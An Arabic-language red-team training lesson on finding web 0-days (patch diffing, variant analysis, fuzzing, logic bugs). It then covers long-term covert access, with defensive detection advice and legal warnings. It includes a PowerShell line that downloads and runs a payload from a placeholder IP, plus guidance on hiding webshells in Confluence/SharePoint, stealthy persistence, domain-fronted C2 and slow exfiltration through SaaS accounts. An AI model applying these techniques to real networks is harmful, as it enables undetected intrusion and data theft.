الفرق الحمراء — الهجومخبير120mL66

Web Vulnerability Research — تصطاد 0-day بإيدك

Variant analysis و Patch diffing و Fuzzing — وعمليات بتمتد شهور

#0-day#Variant Analysis#Patch Diffing#Fuzzing#Long-Haul

ليه الدرس ده مختلف؟

تشبيه — شرح مبسط
الفرق بين اللي بيقرا CVEs والباحث الحقيقي زي الفرق بين اللي بيقرا الجرايد والمحقق الجنائي. الأول عارف اللي حصل. التاني عارف اللي هيحصل — لأنه بيقرا الكود قبل ما الخصم يقراه. - طب أنا لسه junior يا حضرتك، أبدأ منين؟؟ ابدأ من اللي محدش حابب يبدأ منه يا مستجد: قراءة الكود. مش fuzzer. مش tool. كود. بنسبة 99% أول bug جدي هتلاقيه هيكون من commit واحد قريته بعنايا، مش من scanner شغّلته 10 ساعات.

الدروس اللي فاتت (web-attacks، advanced-web، web-redteam-deep) علّمتك إزاي تستغل ثغرات معروفة. الدرس ده هيعلّمك إزاي تلاقي ثغرة محدش اكتشفها لسه، وإزاي تفضل جوه الهدف شهور من غير ما حد ياخد باله.

دي المهارة الحقيقية لفرق العمليات المصرّحة فيدرالياً — لأن الثغرة الجديدة مفيش لها توقيعات IDS، وبتديك وصول قبل ما حد يكتب الـ patch أصلاً. مفيش طريق أقصر من ده.

تحذير قانوني — مفيش ولا منطقة رمادية
كل تكنيك في الدرس ده قانوني بس على: (1) أنظمة بتملكها، (2) برامج bug bounty صريحة، (3) عقد pentest موقّع، (4) تفويض حكومي مكتوب جوه صلاحيات Title 10/50 أو ما يعادلها. تجرّب ثغرة "صفرية" على نظام إنتاج من غير إذن = جناية فيدرالية تحت CFAA §1030(a)(5) حتى لو ما استغلتهاش. مش هزار، مش لعب.
غلطات الـ junior في vuln research
  • بيبدأ بـ fuzzer عشوائي على endpoint — أرخص حاجة وأقل عائد. ابدأ بقراءة الكود.
  • بيلاقي ثغرة وبيكتب التقرير على طول — متنساش variant analysis: نفس النمط في 50 مكان تاني.
  • بيتجاهل الـ patch diff — 60% من "الـ 0-days" اللي APT بتستخدمها مش 0-days أصلاً، هي n-days.
  • بينشر PoC عام قبل ما يبلّغ — شغل غير مسؤول وبيحرق سمعتك في المجتمع.

منهجية البحث — هرم الإيجاد

الباحثين الجادين مش بيبدأوا بـ fuzzer عشوائي. بيمشوا في هرم — كل طبقة أرخص بكتير من اللي بعدها. ابدأ من فوق ولأسفل:

1) قراءة المصدر — أرخص طبقة
لو الكود مفتوح، اقرأه. 40% من ثغرات الويب الحديثة تُكتشف بقراءة git diff لـ commit واحد. ركّز على: parsers، deserializers، URL handlers، template engines، authz middleware.
2) Patch Diffing — استخرج الثغرة من الإصلاح
كل patch أمني يكشف عن ثغرتين: المُصلَحة، و المنسية. قارن قبل/بعد، حدّد التحقق المُضاف، وابحث عن كل مكان آخر يفتقد نفس التحقق.
3) Variant Analysis — التوسع الأفقي
ثغرة واحدة = نمط. ابحث عن نفس النمط في 50 مكان آخر. Project Zero بنى سمعته على هذا — ثغرة type confusion واحدة في V8 أنتجت 12 CVE.
4) Targeted Fuzzing — للحالات المعقدة
بعد فهم البنية. harness مخصص للهدف، ليس wfuzz على endpoint. القيمة في الـ corpus، لا الأداة.
5) Specification Auditing — أعمق طبقة
اقرأ RFCs بعين عدائية. Request smuggling اكتشف لأن باحثاً قرأ RFC 7230 وفهم أن CL وTE لا يتفقان عند البروكسي. ثغرات بمليار دولار من قراءة وثيقة.
6) Logic Hunting — لا أداة تجدها
ثغرات منطق العمل (race conditions في الدفع، state machine flaws، authorization bypasses). يدوية بحتة. أعلى ROI في bug bounties الكبيرة.

Patch Diffing عملياً — الطريق الأقصر للـ n-day

أكتر من 60% من "الـ 0-days" اللي بيستخدمها مهاجمين الدول دي مش 0-days أصلاً — هي n-days. ثغرات طلعلها patch بس الضحية ما حدّثش. الفرق بينك وبين APT هو مين بيقرا الـ patch أسرع. اللعبة في السرعة.

01
أمسك الـ commit الأمني

راقب: github.com/<vendor>/<product>/security/advisories، رسائل oss-security@، وملفات CHANGELOG. كلمات تستحق التنبيه: sanitize, escape, validate, auth, bypass, regression, CVE.

02
أعد بناء النسختين
$ git clone https://github.com/vendor/product && cd product
$ git checkout v1.2.3-vulnerable && docker build -t vuln .
$ git checkout v1.2.4-patched && docker build -t safe .
$ # الفرق فقط — السطور التي أُضيفت كحماية:
$ git diff v1.2.3-vulnerable v1.2.4-patched -- '*.py' '*.go' '*.ts'
03
عكس الـ patch إلى trigger

كل سطر تحقق مُضاف يجيب على سؤال: "ما المدخل الذي كان يكسر هذا؟". لو رأيت if (user.id != session.id) reject()، الـ trigger هو طلب يستخدم session واحدة وuser id آخر.

04
تحقق من الـ regression

كثير من الـ patches ناقصة. لو أصلحوا /api/users/<id>، تحقق من /api/v2/users/<id> و/internal/users/<id> و/admin/users?id=. غالباً واحد منها نُسي.

مثال واقعي
CVE-2023-46805 (Ivanti): Patch أوّلي أصلح مكاناً واحداً، الباحثون وجدوا 3 مسارات أخرى لنفس الـ auth bypass خلال 48 ساعة. النتيجة: استغلال جماعي على وكالات فيدرالية أمريكية.

Variant Analysis — كيف تحوّل ثغرة إلى عشر

لما تلاقي ثغرة، اسأل تلات أسئلة فوراً قبل ما تكتب التقرير:

  1. حصلت ليه؟ إيه الفرضية الغلط في دماغ المطوّر؟ (مثلاً: "الـ URL parser بيشوف نفس اللي عيني بتشوفه").
  2. الفرضية دي متكررة فين تاني؟ grep لنفس النمط في الـ codebase وفي مشاريع منافسة.
  3. إيه الـ root API الضعيف؟ لو الموضوع في urllib.parse نفسها، يبقى كل مشروع بيستخدمها معرّض. اطلع للجذر.
bash
# نمط CodeQL لإيجاد كل deserialization غير مؤمن في الـ codebase:
# (مثال تعليمي — استبدل بالنوع المناسب لمنتجك)
import python
from Call call, Name name
where
  name.getId() = "pickle.loads" and
  call.getFunc().(Attribute).getAttr() = name.getId() and
  not exists(IfStmt guard | guard.getAChild*() = call)
select call, "Unguarded pickle.loads — RCE primitive"
اللي بيشتغل فعلاً ضد variant analysis
فرق الـ AppSec الناضجة بتشغّل CodeQL/Semgrep على كل PR بقواعد مكتوبة من CVEs اللي اتلقت قبل كده في نفس المنتج. كل ثغرة بتتلقّط جوّه بتتحوّل لقاعدة دايمة. ده اللي بيقفل عيلة المتغيرات كلها قبل ما توصل prod.

بناء Fuzzing Harness للويب — ليس wfuzz

الـ fuzzing الفعّال للويب ليس "ضع كل payload على كل parameter". هو: اعزل المكوّن، صفّه structure-aware، راقب التغطية.

Coverage-Guided
AFL++, libFuzzer, restler-fuzzer لـ APIs. ميزتها: تعرف متى دخلت branch جديد، فلا تضيع وقتاً على مدخلات تكافئ.
Grammar-Based
Domato لـ DOM، Boofuzz لـ بروتوكولات. ضروري لمدخلات منظمة (HTTP/2, WebSocket frames).
Differential
أرسل نفس الـ payload لمحلّلَين (مثلاً Apache + Nginx، أو HAProxy + خلفية). كل اختلاف = ثغرة محتملة (request smuggling، parser confusion).
Stateful Web Fuzzing
RESTler من Microsoft. يقرأ OpenAPI، يبني grammar، يجرّب تسلسلات (POST → GET → PATCH) ليصل إلى حالات لا يصلها fuzzer بدون state.
bash
# مثال harness بسيط لـ JSON parser ضمن تطبيق Node.js:
# (هذا للمكتبة التي تملكها أو لها bug bounty)
npm i -D @jazzer.js/core
cat > fuzz.js <<'EOF'
const { parseUserInput } = require("./src/api");
module.exports.fuzz = (data) => {
  try { parseUserInput(data.toString()); }
  catch (e) {
    if (e instanceof TypeError && /Cannot read.*undefined/.test(e.message)) throw e;
  }
};
EOF
npx jazzer fuzz --sync

Logic Bugs — حيث لا أداة تساعدك

أعلى bounties (Apple $500k، Meta $300k) تأتي من ثغرات منطق، ليس injection. لا fuzzer يجدها. إليك أنماط مثبّتة:

  • State machine confusion: هل يمكن استدعاء /checkout/finalize قبل /checkout/pay؟ أنظمة الدفع بنيت على افتراض تسلسل.
  • TOCTOU في الويب: يقرأ السيرفر صلاحية، تتغير، ثم يستخدمها. race window بـ HTTP/2 multiplexing تصل لأقل من 1ms — وحدها Burp Turbo Intruder "single packet attack" كافية لاستغلالها.
  • Delegation flaws: الـ microservice A يثق أن B تحقق من الـ user؛ B يثق بـ A. لا أحد يتحقق فعلياً.
  • Currency/quantity rounding: اشترِ بـ -1 من المنتج، استرد المال 0، رصيدك زاد. (استُخدم على Starbucks 2015، PayPal 2018).
  • Reset poisoning: توكن إعادة كلمة السر يحوي header قابل للحقن (Host header injection) → ترسل الرابط لنطاقك → استلام التوكن.

ابتكار ثغرة عندما لا توجد — التفكير الخصومي

أحياناً الكود نظيف. الثغرة في بنية النظام:

  1. اكتب نموذج التهديد للهدف من الذاكرة، لا تنظر للكود. ما الفرضيات؟ (مثلاً: "CDN يمنع IP غير مدرج").
  2. اقتل كل فرضية واحدة-واحدة. هل يمكن تجاوز CDN عبر origin مكشوف؟ هل يمكن خداع الـ allow-list بـ DNS rebinding؟
  3. اربط primitives صغيرة. CRLF + open redirect + cache بدون keying = SSRF لكامل CDN. كل جزء وحده "لا يستحق الإبلاغ"؛ مجتمعة = critical.
  4. اقرأ المنشورات الأكاديمية. USENIX Security, IEEE S&P, BlackHat USA. تقنيات تظهر فيها قبل سنتين من ظهورها في bug bounties.
مصادر الباحثين الجادين
PortSwigger Research, Google Project Zero blog, Orange Tsai (Devcore), Frans Rosén (Detectify), James Kettle, Sam Curry. اقرأ كل تقرير writeup كأنه paper.

عمليات الإقامة الطويلة — Long-Haul Tradecraft

اكتشاف الثغرة هو 20% من العملية. الـ 80% الباقية: كيف تبقى داخل الشبكة 6-18 شهراً دون أن يُكتشف وجودك. هذا ما يميّز APT عن "script kiddie لديه CVE".

تشبيه — شرح مبسط
الـ smash-and-grab يدخل، يأخذ، يخرج. الـ long-haul يدخل، يصبح جزءاً من البنية، يخرج المعلومة عبر سنة. الفرق كالفرق بين سارق محل واستخباراتي مزروع.

مبادئ الـ Long-Haul الستة

01
Living Off the Land — لا تجلب أدواتك

كل ثنائية تسقطها = توقيع. استخدم ما هو موجود: curl, wget, certutil, bitsadmin, schtasks, wmic, PowerShell, sudo, cron, systemd. الويبشل الأمثل في 2026 ليس c99.php — هو سطر واحد مدفون في ملف JSON إعدادات.

02
Persistence بدون "persistence"

تجنب autoruns, services, scheduled tasks الواضحة. بدلاً منها: عدّل ملف .bashrc لخدمة، أضف صفحة إلى Confluence/SharePoint داخلية فيها webshell، أنشئ Lambda بصلاحيات IAM دائمة، عدّل قالب CloudFormation. هذه "مرئية" لكن لا تثير alerts.

03
C2 يبدو كـ traffic عادي
$ # سيء — يُكتشف خلال أيام:
$ powershell IEX (New-Object Net.WebClient).DownloadString('http://1.2.3.4:8080/payload')
$ # جيد — يبدو كـ M365 sync:
$ # domain fronting عبر Azure Front Door إلى bucket تحت سيطرتك،
$ # beacon كل 4 ساعات بـ jitter ±25%، حجم متغير، أوقات العمل فقط

قواعد ذهبية: (أ) لا beacon ثابت الفترة، (ب) تجنب IPs، استخدم نطاقات بسمعة (ج) TLS بشهادة LetsEncrypt حقيقية على نطاق "ممل" مسجّل قبل 6 أشهر، (د) شغّل beacon فقط داخل ساعات عمل المنطقة الزمنية للهدف.

04
Dormancy — التخفي عبر الانقطاع

الـ implant الذكي ينام أسابيع. Volt Typhoon (CCP APT المُتهم باختراق بنى تحتية أمريكية حرجة) بقي خاملاً 5 سنوات في بعض الأهداف. التفعيل عبر trigger خارجي (مثلاً تغريدة بـ hash معين، أو سجل DNS TXT يتحدث).

05
Tiered Access — لا تستخدم وصولك الأعمق

اقسم وصولك ثلاث طبقات: (1) recon — IP عبر VPN عام، يمكن أن يحرق، (2) operational — تستخدمه لجمع المعلومات، (3) crown jewel — لا يُستخدم إلا لاستخراج البيانات الحاسمة، مرة كل أشهر. حرق طبقة 1 لا يكشف 2 أو 3.

06
OPSEC اللغوي والثقافي

تعليقات في الكود، رسائل خطأ، أسماء ملفات، أوقات النشاط، حتى ترتيب لوحة المفاتيح — كل واحد يخون الجنسية. APT الأمريكية وُصفت بأنها "الوحيدة التي ترسل beacons في الإجازات الأمريكية لا الصينية". (راجع Equation Group leaks).

استخراج البيانات بدون أن يُلاحظ

  • تجزئة + تشفير + استبطاء: 100GB على 90 يوم بمعدل 12MB/ساعة لا يُلاحظ في معظم بيئات.
  • قنوات شرعية: ارفع البيانات إلى Google Drive/Dropbox/OneDrive بحساب enterprise "منسي". DLP غالباً تتسامح مع وجهات الـ SaaS المعروفة.
  • DNS exfil كملاذ أخير فقط؛ بطيء وصاخب لو قارنته بـ HTTPS لخدمة معروفة.
  • Steganography داخل صور تُرفع لمنصات تواصل اجتماعي شرعية (مع الحذر من إعادة الترميز).

الحماية — كيف يصطاد المدافع البارع كل ما سبق

ضد Patch Diffing
(1) Coordinated disclosure مع backporting كامل — أصلح كل المسارات معاً. (2) Vulnerability-equivalent class scanning بـ Semgrep/CodeQL قبل الإصدار. (3) Honeypatches — endpoints قديمة تبدو ضعيفة لكنها تنبّه.
ضد Long-Haul
  • Hunting بدلاً من alerting. ابحث عن "ما الذي يبدو طبيعياً جداً ليكون طبيعياً؟" — مثلاً curl يعمل من Confluence server إلى Azure CDN كل 4 ساعات بدقة.
  • Beacon analytics: ابحث عن انتظام إحصائي في الفواصل الزمنية. RITA, Beacon Detection في Zeek.
  • Identity-centric detection: دورات حياة الهويات المخدومة تحت رقابة. حسابات تُستخدم كل 30 يوماً بدقة = شذوذ.
  • Canary tokens في كل مكان: مستندات مصرفية مزيفة، AWS keys مزيفة في الكود، صفحات SharePoint مفخخة. كل وصول = تنبيه فوري.
  • Egress baselining: اعرف الوجهات الطبيعية لكل نظام. Confluence لا يحتاج الإنترنت الخارجي. ادمج هذا في policy.
  • Threat hunting cadence: فرق ناضجة (FBI Cyber Action Team، CISA hunt) تفترض أن العدو داخل، تبحث استباقياً كل أسبوع.
MITRE ATT&CK mapping
معظم تقنيات هذا الدرس: T1190 (Exploit Public-Facing App)، T1133 (External Remote Services)، T1078 (Valid Accounts)، T1071.001 (Web C2)، T1568 (Dynamic Resolution)، T1102 (Web Service)، T1021 (Remote Services)، T1567 (Exfil Over Web Service)، T1546 (Event Triggered Execution).

الخط الأخلاقي والقانوني — قبل أن تبدأ

حدود لا تُعبر
  • لا تختبر على نظام بدون إذن مكتوب. "الموقع علني" لا يعني "مأذون". CFAA يلاحقك.
  • لا تطلق ثغرة في البرّية حتى لو كانت ضد "عدو". لو سُربت، ستُستخدم ضد بنية تحتية حليفة.
  • VEP (Vulnerabilities Equities Process): لو وجدت 0-day خطيرة، قانون أمريكي ملزم (PPD-41) يطلب تقييم Equities قبل استخدام عملياتي. لا تتخطاه.
  • أبلغ المؤسسة المعنية عبر القناة الصحيحة (CIRT الفيدرالي، CISA، أو الـ vendor) عند توفر مسار coordinated disclosure.
  • وثّق كل خطوة مع طابع زمني وتفويض. حماية شخصية + حماية الـ chain of custody لو تحوّل الأمر إلى قضية.

مراجع للتعمق

  • "A Bug Hunter's Diary" — Tobias Klein
  • Project Zero blog (googleprojectzero.blogspot.com) — كل تقرير دراسة كاملة في variant analysis
  • PortSwigger Research — James Kettle et al. — تقنيات ويب جديدة سنوياً
  • CISA Hunting Playbooks وFBI/CISA joint advisories — كيف تُكتشف العمليات طويلة المدى فعلياً
  • Mandiant M-Trends السنوي — متوسط dwell time العالمي وكيف يتطور
  • USENIX Security & IEEE S&P proceedings — أبحاث أكاديمية تسبق الصناعة بسنتين
الخلاصة الناشفة
الباحث الحقيقي مش بيدوّر على ثغرات. هو بيدوّر على فرضيات غلط في دماغ المبرمج. لما تلاقي واحدة، الـ codebase كله بيفتحلك. اقرا الكود كأنك بتقرا رواية بوليسية — كل سطر فيه احتمال يكون فيه جريمة. اوعى تستنّى Nuclei يلاقيلك حاجة. لو ده اللي بتعمله، انت مش باحث، انت مستهلك. اكتبها على المكتب: الـ bug في فرضية، مش في سطر.